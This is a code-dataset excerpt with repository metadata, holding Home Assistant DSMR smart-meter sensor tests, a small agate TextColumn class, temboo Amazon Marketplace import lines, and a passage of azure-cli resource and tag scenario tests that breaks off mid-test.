correctly parsed.""" (connection_factory, transport, protocol) = dsmr_connection_fixture from dsmr_parser.obis_references import ELECTRICITY_ACTIVE_TARIFF from dsmr_parser.objects import CosemObject entry_data = { "port": "/dev/ttyUSB0", "dsmr_version": "5B", "precision": 4, "reconnect_interval": 30, "serial_id": "1234", "serial_id_gas": "5678", } entry_options = { "time_between_update": 0, } telegram = {ELECTRICITY_ACTIVE_TARIFF: CosemObject([{"value": "0002", "unit": ""}])} mock_entry = MockConfigEntry( domain="dsmr", unique_id="/dev/ttyUSB0", data=entry_data, options=entry_options ) mock_entry.add_to_hass(hass) await hass.config_entries.async_setup(mock_entry.entry_id) await hass.async_block_till_done() telegram_callback = connection_factory.call_args_list[0][0][2] # simulate a telegram pushed from the smartmeter and parsed by dsmr_parser telegram_callback(telegram) # after receiving telegram entities need to have the chance to update await asyncio.sleep(0) # tariff should be translated in human readable and have no unit power_tariff = hass.states.get("sensor.power_tariff") assert power_tariff.state == "low" assert power_tariff.attributes.get(ATTR_DEVICE_CLASS) is None assert power_tariff.attributes.get(ATTR_ICON) == "mdi:flash" assert power_tariff.attributes.get(ATTR_STATE_CLASS) is None assert power_tariff.attributes.get(ATTR_UNIT_OF_MEASUREMENT) == "" async def test_swedish_meter(hass, dsmr_connection_fixture): """Test if v5 meter is correctly parsed.""" (connection_factory, transport, protocol) = dsmr_connection_fixture from dsmr_parser.obis_references import ( SWEDEN_ELECTRICITY_DELIVERED_TARIFF_GLOBAL, SWEDEN_ELECTRICITY_USED_TARIFF_GLOBAL, ) from dsmr_parser.objects import CosemObject entry_data = { "port": "/dev/ttyUSB0", "dsmr_version": "5S", "precision": 4, "reconnect_interval": 30, "serial_id": None, "serial_id_gas": None, } entry_options = { "time_between_update": 0, } telegram = { SWEDEN_ELECTRICITY_USED_TARIFF_GLOBAL: CosemObject( [{"value": Decimal(123.456), "unit": ENERGY_KILO_WATT_HOUR}] ), SWEDEN_ELECTRICITY_DELIVERED_TARIFF_GLOBAL: CosemObject( [{"value": Decimal(654.321), "unit": ENERGY_KILO_WATT_HOUR}] ), } mock_entry = MockConfigEntry( domain="dsmr", unique_id="/dev/ttyUSB0", data=entry_data, options=entry_options ) mock_entry.add_to_hass(hass) await hass.config_entries.async_setup(mock_entry.entry_id) await hass.async_block_till_done() telegram_callback = connection_factory.call_args_list[0][0][2] # simulate a telegram pushed from the smartmeter and parsed by dsmr_parser telegram_callback(telegram) # after receiving telegram entities need to have the chance to update await asyncio.sleep(0) power_tariff = hass.states.get("sensor.energy_consumption_total") assert power_tariff.state == "123.456" assert power_tariff.attributes.get(ATTR_DEVICE_CLASS) == DEVICE_CLASS_ENERGY assert power_tariff.attributes.get(ATTR_ICON) is None assert power_tariff.attributes.get(ATTR_STATE_CLASS) == STATE_CLASS_TOTAL_INCREASING assert ( power_tariff.attributes.get(ATTR_UNIT_OF_MEASUREMENT) == ENERGY_KILO_WATT_HOUR ) power_tariff = hass.states.get("sensor.energy_production_total") assert power_tariff.state == "654.321" assert power_tariff.attributes.get(ATTR_STATE_CLASS) == STATE_CLASS_TOTAL_INCREASING assert ( power_tariff.attributes.get(ATTR_UNIT_OF_MEASUREMENT) == ENERGY_KILO_WATT_HOUR ) async def test_tcp(hass, dsmr_connection_fixture): """If proper config provided TCP connection should be made.""" (connection_factory, transport, protocol) = dsmr_connection_fixture entry_data = { "host": "localhost", "port": "1234", "dsmr_version": "2.2", "precision": 4, "reconnect_interval": 30, "serial_id": "1234", "serial_id_gas": "5678", } mock_entry = MockConfigEntry( domain="dsmr", unique_id="/dev/ttyUSB0", data=entry_data ) mock_entry.add_to_hass(hass) await hass.config_entries.async_setup(mock_entry.entry_id) await hass.async_block_till_done() assert connection_factory.call_args_list[0][0][0] == "localhost" assert connection_factory.call_args_list[0][0][1] == "1234" async def test_connection_errors_retry(hass, dsmr_connection_fixture): """Connection should be retried on error during setup.""" (connection_factory, transport, protocol) = dsmr_connection_fixture entry_data = { "port": "/dev/ttyUSB0", "dsmr_version": "2.2", "precision": 4, "reconnect_interval": 0, "serial_id": "1234", "serial_id_gas": "5678", } # override the mock to have it fail the first time and succeed after first_fail_connection_factory = MagicMock( return_value=(transport, protocol), side_effect=chain([TimeoutError], repeat(DEFAULT)), ) mock_entry = MockConfigEntry( domain="dsmr", unique_id="/dev/ttyUSB0", data=entry_data ) mock_entry.add_to_hass(hass) with patch( "homeassistant.components.dsmr.sensor.create_dsmr_reader", first_fail_connection_factory, ): await hass.config_entries.async_setup(mock_entry.entry_id) await hass.async_block_till_done() # wait for sleep to resolve await hass.async_block_till_done() assert first_fail_connection_factory.call_count >= 2, "connecting not retried" async def test_reconnect(hass, dsmr_connection_fixture): """If transport disconnects, the connection should be retried.""" (connection_factory, transport, protocol) = dsmr_connection_fixture entry_data = { "port": "/dev/ttyUSB0", "dsmr_version": "2.2", "precision": 4, "reconnect_interval": 0, "serial_id": "1234", "serial_id_gas": "5678", } # mock waiting coroutine while connection lasts closed = asyncio.Event() # Handshake so that `hass.async_block_till_done()` doesn't cycle forever closed2 = asyncio.Event() async def wait_closed(): await closed.wait() closed2.set() protocol.wait_closed = wait_closed mock_entry = MockConfigEntry( domain="dsmr", unique_id="/dev/ttyUSB0", data=entry_data ) mock_entry.add_to_hass(hass) await hass.config_entries.async_setup(mock_entry.entry_id) await hass.async_block_till_done() assert connection_factory.call_count == 1 # indicate disconnect, release wait lock and allow reconnect to happen closed.set() # wait for lock set to resolve await closed2.wait() closed2.clear() closed.clear() await hass.async_block_till_done() assert connection_factory.call_count >= 2, "connecting not retried" # setting it so teardown can be successful closed.set() await hass.config_entries.async_unload(mock_entry.entry_id) assert mock_entry.state == config_entries.ConfigEntryState.NOT_LOADED

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null

0

1

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null

0

6

0a9e97f68d27097c8bb028edc29a204ca3af1fef

158

py

Python

agate/columns/text.py

captainsafia/agate

14f41d13f72160a374d2504d9c9ade958f543eab

[ "MIT" ]

null

agate/columns/text.py

captainsafia/agate

14f41d13f72160a374d2504d9c9ade958f543eab

[ "MIT" ]

null

agate/columns/text.py

captainsafia/agate

14f41d13f72160a374d2504d9c9ade958f543eab

[ "MIT" ]

1

2019-11-26T03:25:18.000Z

#!/usr/bin/env python from agate.columns.base import Column class TextColumn(Column): """ A column containing unicode/string data. """ pass

15.8

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0.670886

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158

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0.386076

0

1

0

true

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1

0

null

0

1

0

1

0

6

0aafa910e9e00a30e0b3db0561291bb43125fb39

1,089

py

Python

temboo/core/Library/Amazon/Marketplace/Orders/__init__.py

jordanemedlock/psychtruths

52e09033ade9608bd5143129f8a1bfac22d634dd

[ "Apache-2.0" ]

7

2016-03-07T02:07:21.000Z

2022-01-21T02:22:41.000Z

temboo/core/Library/Amazon/Marketplace/Orders/__init__.py

jordanemedlock/psychtruths

52e09033ade9608bd5143129f8a1bfac22d634dd

[ "Apache-2.0" ]

null

temboo/core/Library/Amazon/Marketplace/Orders/__init__.py

jordanemedlock/psychtruths

52e09033ade9608bd5143129f8a1bfac22d634dd

[ "Apache-2.0" ]

8

2016-06-14T06:01:11.000Z

2020-04-22T09:21:44.000Z

from temboo.Library.Amazon.Marketplace.Orders.GetOrder import GetOrder, GetOrderInputSet, GetOrderResultSet, GetOrderChoreographyExecution from temboo.Library.Amazon.Marketplace.Orders.GetServiceStatus import GetServiceStatus, GetServiceStatusInputSet, GetServiceStatusResultSet, GetServiceStatusChoreographyExecution from temboo.Library.Amazon.Marketplace.Orders.ListOrderItems import ListOrderItems, ListOrderItemsInputSet, ListOrderItemsResultSet, ListOrderItemsChoreographyExecution from temboo.Library.Amazon.Marketplace.Orders.ListOrders import ListOrders, ListOrdersInputSet, ListOrdersResultSet, ListOrdersChoreographyExecution from temboo.Library.Amazon.Marketplace.Orders.ListOrdersWithBuyerEmail import ListOrdersWithBuyerEmail, ListOrdersWithBuyerEmailInputSet, ListOrdersWithBuyerEmailResultSet, ListOrdersWithBuyerEmailChoreographyExecution from temboo.Library.Amazon.Marketplace.Orders.ListOrdersWithSellerOrderId import ListOrdersWithSellerOrderId, ListOrdersWithSellerOrderIdInputSet, ListOrdersWithSellerOrderIdResultSet, ListOrdersWithSellerOrderIdChoreographyExecution

155.571429

233

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1,089

13.875

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0.06006

0.102102

0.138138

0.24024

0

0.038567

1,089

6

234

181.5

0.954155

0

1

0

true

0

1

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1

0

1

null

0

1

0

1

0

null

0

1

0

1

0

1

0

6

0ac8419e84f39e10b61869d327cebfa6015d19df

172,049

py

Python

src/azure-cli/azure/cli/command_modules/resource/tests/latest/test_resource.py

sudokylumaster/azure-cli

5bbb75e4860dcd086ca8b4c413a64acb9a6dbb2f

[ "MIT" ]

1

2021-02-19T02:54:09.000Z

src/azure-cli/azure/cli/command_modules/resource/tests/latest/test_resource.py

sudokylumaster/azure-cli

5bbb75e4860dcd086ca8b4c413a64acb9a6dbb2f

[ "MIT" ]

null

src/azure-cli/azure/cli/command_modules/resource/tests/latest/test_resource.py

sudokylumaster/azure-cli

5bbb75e4860dcd086ca8b4c413a64acb9a6dbb2f

[ "MIT" ]

null

# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- import json import os import shutil import time import mock import unittest from azure.cli.core.parser import IncorrectUsageError from azure_devtools.scenario_tests.const import MOCKED_SUBSCRIPTION_ID from azure_devtools.scenario_tests import AllowLargeResponse from azure.cli.testsdk import (ScenarioTest, LocalContextScenarioTest, LiveScenarioTest, ResourceGroupPreparer, StorageAccountPreparer, create_random_name, live_only, record_only) from azure.cli.core.util import get_file_json from knack.util import CLIError class ResourceGroupScenarioTest(ScenarioTest): @ResourceGroupPreparer(name_prefix='cli_test_rg_scenario') def test_resource_group(self, resource_group): self.cmd('group delete -n {rg} --yes') self.cmd('group exists -n {rg}', checks=self.check('@', False)) self.cmd('group create -n {rg} -l westus --tag a=b c --managed-by test_admin', checks=[ self.check('name', '{rg}'), self.check('tags', {'a': 'b', 'c': ''}), self.check('managedBy', 'test_admin') ]) self.cmd('group exists -n {rg}', checks=self.check('@', True)) self.cmd('group show -n {rg}', checks=[ self.check('name', '{rg}'), self.check('tags', {'a': 'b', 'c': ''}) ]) self.cmd('group list --tag a=b', checks=[ self.check('[0].name', '{rg}'), self.check('[0].tags', {'a': 'b', 'c': ''}) ]) # test --force-string self.kwargs.update({'tag': "\"{\\\"k\\\":\\\"v\\\"}\""}) self.cmd('group update -g {rg} --tags ""', checks=self.check('tags', {})) self.cmd('group update -g {rg} --set tags.a={tag}', checks=self.check('tags.a', "{{'k': 'v'}}")) self.cmd('group update -g {rg} --set tags.b={tag} --force-string', checks=self.check('tags.b', '{{\"k\":\"v\"}}')) result = self.cmd('group export --name {rg} --query "contentVersion"') self.assertEqual('"1.0.0.0"\n', result.output) @ResourceGroupPreparer(name_prefix='cli_test_rg_scenario') def test_resource_group_export_skip_all_params(self, resource_group): self.kwargs.update({ 'vnet': 'vnet1' }) self.cmd('network vnet create -g {rg} -n {vnet}') self.kwargs['vnet_id'] = self.cmd('network vnet show -g {rg} -n {vnet}').get_output_in_json()['id'] result = self.cmd('group export --name {rg} --resource-ids "{vnet_id}" --skip-all-params --query "parameters"') self.assertEqual('{}\n', result.output) @ResourceGroupPreparer(name_prefix='cli_test_rg_scenario') def test_resource_group_export_skip_resource_name_params(self, resource_group): self.kwargs.update({ 'vnet': 'vnet1' }) self.cmd('network vnet create -g {rg} -n {vnet}') self.kwargs['vnet_id'] = self.cmd('network vnet show -g {rg} -n {vnet}').get_output_in_json()['id'] result = self.cmd('group export --name {rg} --resource-ids "{vnet_id}" --skip-resource-name-params --query "parameters"') self.assertEqual('{}\n', result.output) class ResourceGroupNoWaitScenarioTest(ScenarioTest): @ResourceGroupPreparer(name_prefix='cli_rg_nowait_test') def test_resource_group_no_wait(self, resource_group): self.cmd('group delete -n {rg} --no-wait --yes', checks=self.is_empty()) self.cmd('group wait --deleted -n {rg}', checks=self.is_empty()) self.cmd('group exists -n {rg}', checks=self.check('@', False)) self.cmd('group create -n {rg} -l westus --managed-by test_admin', checks=[ self.check('name', '{rg}'), self.check('managedBy', 'test_admin') ]) self.cmd('group exists -n {rg}', checks=self.check('@', True)) self.cmd('group wait --exists -n {rg}', checks=self.is_empty()) class ResourceLinkScenarioTest(ScenarioTest): @ResourceGroupPreparer(name_prefix='cli_test_resource_link_scenario') def test_resource_link_scenario(self, resource_group): self.kwargs.update({ 'vnet': 'vnet1' }) self.cmd('network vnet create -g {rg} -n {vnet}') self.kwargs['vnet_id'] = self.cmd('network vnet show -g {rg} -n {vnet}').get_output_in_json()['id'] rg_id = self.cmd('group show -g {rg}').get_output_in_json()['id'] self.kwargs['link_id'] = '{}/providers/Microsoft.Resources/links/link1'.format(rg_id) self.cmd('resource link create --link {link_id} --target {vnet_id} --notes "blah notes"') self.cmd('resource link show --link {link_id}', checks=[ self.check('name', 'link1'), self.check('properties.notes', 'blah notes') ]) self.cmd('resource link update --link {link_id} --target {vnet_id} --notes "group to vnet"') num_link = int(self.cmd('resource link list --query length(@) -o tsv').output) self.cmd('resource link show --link {link_id}', checks=[ self.check('name', 'link1'), self.check('properties.notes', 'group to vnet') ]) self.cmd('resource link delete --link {link_id}') self.cmd('resource link list', checks=self.check('length(@)', num_link - 1)) class ResourceScenarioTest(ScenarioTest): @ResourceGroupPreparer(name_prefix='cli_test_resource_scenario', location='southcentralus') @AllowLargeResponse() def test_resource_scenario(self, resource_group, resource_group_location): self.kwargs.update({ 'loc': resource_group_location, 'vnet': self.create_random_name('vnet-', 30), 'subnet': self.create_random_name('subnet-', 30), 'rt': 'Microsoft.Network/virtualNetworks' }) vnet_count = self.cmd("resource list --query \"length([?name=='{vnet}'])\"").get_output_in_json() or 0 self.cmd('network vnet create -g {rg} -n {vnet} --subnet-name {subnet} --tags cli-test=test') vnet_count += 1 self.cmd('resource list', checks=self.check("length([?name=='{vnet}'])", vnet_count)) self.cmd('resource list -l {loc}', checks=self.check("length([?location == '{loc}']) == length(@)", True)) self.cmd('resource list --resource-type {rt}', checks=self.check("length([?name=='{vnet}'])", vnet_count)) self.cmd('resource list --name {vnet}', checks=[ self.check("length([?name=='{vnet}'])", vnet_count), self.check('[0].provisioningState', 'Succeeded') ]) self.cmd('resource list --tag cli-test', checks=self.check("length([?name=='{vnet}'])", vnet_count)) self.cmd('resource list --tag cli-test=test', checks=self.check("length([?name=='{vnet}'])", vnet_count)) # check for simple resource with tag self.cmd('resource show -n {vnet} -g {rg} --resource-type Microsoft.Network/virtualNetworks', checks=[ self.check('name', '{vnet}'), self.check('location', '{loc}'), self.check('resourceGroup', '{rg}'), self.check('tags', {'cli-test': 'test'}) ]) # check for child resource self.cmd('resource show -n {subnet} -g {rg} --namespace Microsoft.Network --parent virtualNetworks/{vnet} --resource-type subnets', checks=[ self.check('name', '{subnet}'), self.check('resourceGroup', '{rg}') ]) # clear tag and verify self.cmd('resource tag -n {vnet} -g {rg} --resource-type Microsoft.Network/virtualNetworks --tags') self.cmd('resource show -n {vnet} -g {rg} --resource-type Microsoft.Network/virtualNetworks', checks=self.check('tags', {})) # delete and verify self.cmd('resource delete -n {vnet} -g {rg} --resource-type {rt}') time.sleep(10) self.cmd('resource list', checks=self.check("length([?name=='{vnet}'])", 0)) class ResourceIDScenarioTest(ScenarioTest): @ResourceGroupPreparer(name_prefix='cli_test_resource_id') def test_resource_id_scenario(self, resource_group): self.kwargs.update({ 'vnet': 'cli_test_resource_id_vnet', 'subnet': 'cli_test_resource_id_subnet' }) self.cmd('network vnet create -g {rg} -n {vnet} --subnet-name {subnet}') self.kwargs['sub'] = self.get_subscription_id() self.kwargs['vnet_id'] = '/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Network/virtualNetworks/{vnet}'.format( **self.kwargs) self.cmd('resource tag --id {vnet_id} --tags tag-vnet') self.cmd('resource show --id {vnet_id}', checks=[ self.check('name', '{vnet}'), self.check('resourceGroup', '{rg}'), self.check('tags', {'tag-vnet': ''}) ]) self.kwargs['subnet_id'] = '/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Network/virtualNetworks/{vnet}/subnets/{subnet}'.format( **self.kwargs) self.cmd('resource show --id {subnet_id}', checks=[ self.check('name', '{subnet}'), self.check('resourceGroup', '{rg}'), self.check('properties.addressPrefix', '10.0.0.0/24') ]) self.cmd('resource update --id {subnet_id} --set properties.addressPrefix=10.0.0.0/22', checks=self.check('properties.addressPrefix', '10.0.0.0/22')) self.cmd('resource delete --id {subnet_id}', checks=self.is_empty()) self.cmd('resource delete --id {vnet_id}', checks=self.is_empty()) class ResourceGenericUpdate(LiveScenarioTest): @ResourceGroupPreparer(name_prefix='cli_test_generic_update') def test_resource_generic_update(self, resource_group): self.kwargs.update({ 'stor_1': self.create_random_name(prefix='stor1', length=10), 'stor_2': self.create_random_name(prefix='stor2', length=10) }) # create storage accounts self.cmd('az storage account create -g {rg} -n {stor_1}') self.cmd('az storage account create -g {rg} -n {stor_2}') # get ids self.kwargs['stor_ids'] = " ".join(self.cmd('az storage account list -g {rg} --query "[].id"').get_output_in_json()) # update tags self.cmd('az storage account update --ids {stor_ids} --set tags.isTag=True tags.isNotTag=False') self.cmd('az storage account show --name {stor_1} -g {rg}', checks=[ self.check('tags.isTag', 'True'), self.check('tags.isNotTag', 'False') ]) self.cmd('az storage account show --name {stor_2} -g {rg}', checks=[ self.check('tags.isTag', 'True'), self.check('tags.isNotTag', 'False') ]) # delete tags.isTag self.cmd('az storage account update --ids {stor_ids} --remove tags.isTag') self.cmd('az storage account show --name {stor_1} -g {rg} --query "tags"', checks=[ self.check('isNotTag', 'False'), self.check('isTag', None) ]) self.cmd('az storage account show --name {stor_2} -g {rg} --query "tags"', checks=[ self.check('isNotTag', 'False'), self.check('isTag', None) ]) # delete tags.isNotTag self.cmd('az storage account update --ids {stor_ids} --remove tags.isNotTag') # check tags is empty. self.cmd('az storage account show --name {stor_1} -g {rg} --query "tags"', checks=self.is_empty()) self.cmd('az storage account show --name {stor_2} -g {rg} --query "tags"', checks=self.is_empty()) class ResourceCreateAndShowScenarioTest(ScenarioTest): @ResourceGroupPreparer(name_prefix='cli_test_resource_create') def test_resource_create_and_show(self, resource_group, resource_group_location): self.kwargs.update({ 'plan': 'cli_res_create_plan', 'app': 'clirescreateweb2', 'loc': resource_group_location }) self.cmd('resource create -g {rg} -n {plan} --resource-type Microsoft.web/serverFarms --is-full-object --properties "{{\\"location\\":\\"{loc}\\",\\"sku\\":{{\\"name\\":\\"B1\\",\\"tier\\":\\"BASIC\\"}}}}"', checks=self.check('name', '{plan}')) result = self.cmd('resource create -g {rg} -n {app} --resource-type Microsoft.web/sites --properties "{{\\"serverFarmId\\":\\"{plan}\\"}}"', checks=self.check('name', '{app}')).get_output_in_json() self.kwargs['app_settings_id'] = result['id'] + '/config/appsettings' self.kwargs['app_config_id'] = result['id'] + '/config/web' self.cmd('resource create --id {app_settings_id} --properties "{{\\"key2\\":\\"value12\\"}}"', checks=[self.check('properties.key2', 'value12')]) self.cmd('resource show --id {app_config_id}', checks=self.check('properties.publishingUsername', '${app}')) self.cmd('resource show --id {app_config_id} --include-response-body', checks=self.check('responseBody.properties.publishingUsername', '${app}')) class TagScenarioTest(ScenarioTest): def test_tag_scenario(self): self.kwargs.update({ 'tag': 'cli_test_tag' }) tag_values = self.cmd('tag list --query "[?tagName == \'{tag}\'].values[].tagValue"').get_output_in_json() for tag_value in tag_values: self.cmd('tag remove-value --value {} -n {{tag}}'.format(tag_value)) self.cmd('tag delete -n {tag} -y') self.cmd('tag list --query "[?tagName == \'{tag}\']"', checks=self.is_empty()) self.cmd('tag create -n {tag}', checks=[ self.check('tagName', '{tag}'), self.check('values', []), self.check('count.value', 0) ]) self.cmd('tag add-value -n {tag} --value test') self.cmd('tag add-value -n {tag} --value test2') self.cmd('tag list --query "[?tagName == \'{tag}\']"', checks=self.check('[].values[].tagValue', [u'test', u'test2'])) self.cmd('tag remove-value -n {tag} --value test') self.cmd('tag list --query "[?tagName == \'{tag}\']"', checks=self.check('[].values[].tagValue', [u'test2'])) self.cmd('tag remove-value -n {tag} --value test2') self.cmd('tag list --query "[?tagName == \'{tag}\']"', checks=self.check('[].values[].tagValue', [])) self.cmd('tag delete -n {tag} -y') self.cmd('tag list --query "[?tagName == \'{tag}\']"', checks=self.is_empty()) @ResourceGroupPreparer(name_prefix='cli_test_tag_update_by_patch', location='westus') def test_tag_update_by_patch(self, resource_group, resource_group_location): # Test Microsoft.RecoveryServices/vaults self.kwargs.update({ 'loc': resource_group_location, 'vault': self.create_random_name('vault-', 30), 'tag': 'cli-test=test', 'resource_group_id': '/subscriptions/' + self.get_subscription_id() + '/resourceGroups/' + resource_group }) vault = self.cmd('resource create -g {rg} -n {vault} --resource-type Microsoft.RecoveryServices/vaults ' '--is-full-object -p "{{\\"properties\\":{{}},\\"location\\":\\"{loc}\\",' '\\"sku\\":{{\\"name\\":\\"Standard\\"}}}}"', checks=self.check('name', '{vault}')).get_output_in_json() self.kwargs['vault_id'] = vault['id'] self.cmd('resource tag --ids {vault_id} --tags {tag}', checks=self.check('tags', {'cli-test': 'test'})) self.cmd('resource tag --ids {vault_id} --tags', checks=self.check('tags', {})) # Test Microsoft.Resources/resourceGroups self.cmd('resource tag --ids {resource_group_id} --tags {tag}', checks=self.check('tags', {'cli-test': 'test'})) # Test Microsoft.ContainerRegistry/registries/webhooks self.kwargs.update({ 'registry_name': self.create_random_name('clireg', 20), 'webhook_name': 'cliregwebhook', 'rg_loc': resource_group_location, 'uri': 'http://www.microsoft.com', 'actions': 'push', 'sku': 'Standard' }) self.cmd('acr create -n {registry_name} -g {rg} -l {rg_loc} --sku {sku}', checks=[self.check('name', '{registry_name}')]) webhook = self.cmd('acr webhook create -n {webhook_name} -r {registry_name} --uri {uri} --actions {actions}', checks=[self.check('name', '{webhook_name}')]).get_output_in_json() self.kwargs['webhook_id'] = webhook['id'] self.cmd('resource tag --ids {webhook_id} --tags {tag}', checks=self.check('tags', {'cli-test': 'test'})) self.cmd('resource tag --ids {webhook_id} --tags', checks=self.check('tags', {})) # Test Microsoft.ContainerInstance/containerGroups self.kwargs.update({ 'container_group_name': self.create_random_name('clicontainer', 16), 'image': 'nginx:latest', }) container = self.cmd('container create -g {rg} -n {container_group_name} --image {image}', checks=self.check('name', '{container_group_name}')).get_output_in_json() self.kwargs['container_id'] = container['id'] self.cmd('resource tag --ids {container_id} --tags {tag}', checks=self.check('tags', {'cli-test': 'test'})) self.cmd('resource tag --ids {container_id} --tags', checks=self.check('tags', {})) self.cmd('resource tag --ids {vault_id} {webhook_id} {container_id} --tags {tag}', checks=[ self.check('length(@)', 3), self.check('[0].tags', {'cli-test': 'test'}) ]) self.cmd('resource delete --id {vault_id}', checks=self.is_empty()) self.cmd('resource delete --id {webhook_id}', checks=self.is_empty()) @ResourceGroupPreparer(name_prefix='cli_test_tag_incrementally', location='westus') def test_tag_incrementally(self, resource_group, resource_group_location): self.kwargs.update({ 'loc': resource_group_location, 'vault': self.create_random_name('vault-', 30), }) resource = self.cmd( 'resource create -g {rg} -n {vault} --resource-type Microsoft.RecoveryServices/vaults --is-full-object -p "{{\\"properties\\":{{}},\\"location\\":\\"{loc}\\",\\"sku\\":{{\\"name\\":\\"Standard\\"}}}}"', checks=self.check('name', '{vault}')).get_output_in_json() self.kwargs['vault_id'] = resource['id'] self.cmd('resource tag --ids {vault_id} --tags cli-test=test cli-test2=test2', checks=self.check('tags', {'cli-test': 'test', 'cli-test2': 'test2'})) self.cmd('resource tag --ids {vault_id} --tags cli-test3=test3 cli-test4=test4', checks=self.check('tags', {'cli-test3': 'test3', 'cli-test4': 'test4'})) self.cmd('resource tag --ids {vault_id} --tags cli-test4=test4a cli-test5=test5 -i', checks=self.check('tags', {'cli-test3': 'test3', 'cli-test4': 'test4a', 'cli-test5': 'test5'})) with self.assertRaises(CLIError): self.cmd('resource tag --ids {vault_id} --tags -i ') with self.assertRaises(CLIError): self.cmd('resource tag --ids {vault_id} --tags "" -i ') self.cmd('resource tag --ids {vault_id} --tags', checks=self.check('tags', {})) self.cmd('resource delete --id {vault_id}', checks=self.is_empty()) @ResourceGroupPreparer(name_prefix='cli_test_tag_default_location_scenario', location='westus') def test_tag_default_location_scenario(self, resource_group, resource_group_location): self.kwargs.update({ 'loc': resource_group_location, 'vault': self.create_random_name('vault-', 30), 'tag': 'cli-test=test' }) resource = self.cmd( 'resource create -g {rg} -n {vault} --resource-type Microsoft.RecoveryServices/vaults --is-full-object -p ' '"{{\\"properties\\":{{}},\\"location\\":\\"{loc}\\",\\"sku\\":{{\\"name\\":\\"Standard\\"}}}}"', checks=self.check('name', '{vault}')).get_output_in_json() self.kwargs['vault_id'] = resource['id'] self.cmd('resource tag --ids {vault_id} --tags {tag}', checks=self.check('tags', {'cli-test': 'test'})) # Scenarios with default location self.cmd('configure --defaults location={loc}') with self.assertRaises(IncorrectUsageError): self.cmd('resource list --tag {tag}') with self.assertRaises(IncorrectUsageError): self.cmd('resource list --tag {tag} -l westus') with self.assertRaises(IncorrectUsageError): self.cmd('resource list --tag {tag} --l westus') with self.assertRaises(IncorrectUsageError): self.cmd('resource list --tag {tag} --location westus') # Scenarios without default location self.cmd('configure --defaults location=""') self.cmd('resource list --tag {tag}', checks=self.check('[0].id', '{vault_id}')) with self.assertRaises(IncorrectUsageError): self.cmd('resource list --tag {tag} -l westus') with self.assertRaises(IncorrectUsageError): self.cmd('resource list --tag {tag} --l westus') with self.assertRaises(IncorrectUsageError): self.cmd('resource list --tag {tag} --location westus') self.cmd('resource delete --id {vault_id}', checks=self.is_empty()) def test_tag_create_or_update_subscription(self): subscription_id = '/subscriptions/' + self.get_subscription_id() self.utility_tag_create_or_update_scope(resource_id=subscription_id) @ResourceGroupPreparer(name_prefix='test_tag_create_or_update_resourcegroup', location='westus') def test_tag_create_or_update_resourcegroup(self, resource_group): resource_group_id = '/subscriptions/' + self.get_subscription_id() + '/resourceGroups/' + resource_group self.utility_tag_create_or_update_scope(resource_id=resource_group_id) @ResourceGroupPreparer(name_prefix='test_tag_create_or_update_resource', location='westus') def test_tag_create_or_update_resource(self, resource_group_location): self.kwargs.update({ 'loc': resource_group_location, 'vault': self.create_random_name('vault-', 30) }) resource = self.cmd( 'resource create -g {rg} -n {vault} --resource-type Microsoft.RecoveryServices/vaults --is-full-object -p "{{\\"properties\\":{{}},\\"location\\":\\"{loc}\\",\\"sku\\":{{\\"name\\":\\"Standard\\"}}}}"', checks=self.check('name', '{vault}')).get_output_in_json() self.utility_tag_create_or_update_scope(resource_id=resource['id']) # Utility method to test CreateOrUpdate for Tags within subscription, resource group, and tracked resources. def utility_tag_create_or_update_scope(self, resource_id): self.kwargs.update({ 'resource_id': resource_id, 'expected_tags1': 'cliName1=cliValue1 cliName2=cliValue2', 'expected_tags2': 'cliName1=cliValue1 cliName2=' }) # 1. pass in an empty tag set, should throw error with self.assertRaises(IncorrectUsageError): self.cmd('tag create --resource-id {resource_id} --tags', checks=self.check('tags', {})) # 2. pass in a complete tag string tag_dict1 = {'cliName1': 'cliValue1', 'cliName2': 'cliValue2'} self.cmd('tag create --resource-id {resource_id} --tags {expected_tags1}', checks=[ self.check('properties.tags', tag_dict1) ]) # 3. pass in one incomplete tag string tag_dict2 = {'cliName1': 'cliValue1', 'cliName2': ''} self.cmd('tag create --resource-id {resource_id} --tags {expected_tags2}', checks=[ self.check('properties.tags', tag_dict2) ]) # 4. clean up: delete the existing tags self.cmd('tag delete --resource-id {resource_id} -y', checks=self.is_empty()) def test_tag_update_subscription(self): subscription_id = '/subscriptions/' + self.get_subscription_id() self.utility_tag_update_scope(resource_id=subscription_id) @ResourceGroupPreparer(name_prefix='test_tag_update_resourcegroup', location='westus') def test_tag_update_resourcegroup(self, resource_group): resource_group_id = '/subscriptions/' + self.get_subscription_id() + '/resourceGroups/' + resource_group self.utility_tag_update_scope(resource_id=resource_group_id) @ResourceGroupPreparer(name_prefix='test_tag_update_resource', location='westus') def test_tag_update_resource(self, resource_group_location): self.kwargs.update({ 'loc': resource_group_location, 'vault': self.create_random_name('vault-', 30) }) resource = self.cmd( 'resource create -g {rg} -n {vault} --resource-type Microsoft.RecoveryServices/vaults --is-full-object -p "{{\\"properties\\":{{}},\\"location\\":\\"{loc}\\",\\"sku\\":{{\\"name\\":\\"Standard\\"}}}}"', checks=self.check('name', '{vault}')).get_output_in_json() self.utility_tag_update_scope(resource_id=resource['id']) # Utility method to test updating tags on subscription, resource group and tracked resource, including Merge, Replace, and Delete Operation. def utility_tag_update_scope(self, resource_id): self.kwargs.update({ 'resource_id': resource_id, 'original_tags': 'cliName1=cliValue1 cliName2=cliValue2', 'merge_tags': 'cliName1=cliValue1 cliName3=cliValue3', 'replace_tags': 'cliName1=cliValue1 cliName4=cliValue4', 'delete_tags': 'cliName4=cliValue4', 'merge_operation': 'merge', 'replace_operation': 'replace', 'delete_operation': 'delete' }) # setup original self.cmd('tag create --resource-id {resource_id} --tags {original_tags}') # 1. test merge operation after_merge_tags_dict = {'cliName1': 'cliValue1', 'cliName2': 'cliValue2', 'cliName3': 'cliValue3'} self.cmd('tag update --resource-id {resource_id} --operation {merge_operation} --tags {merge_tags}', checks=[ self.check('properties.tags', after_merge_tags_dict) ]) # 2. test replace operation after_replace_tags_dict = {'cliName1': 'cliValue1', 'cliName4': 'cliValue4'} self.cmd('tag update --resource-id {resource_id} --operation {replace_operation} --tags {replace_tags}', checks=[ self.check('properties.tags', after_replace_tags_dict) ]) # 3. test delete operation after_delete_tags_dict = {'cliName1': 'cliValue1'} self.cmd('tag update --resource-id {resource_id} --operation {delete_operation} --tags {delete_tags}', checks=[ self.check('properties.tags', 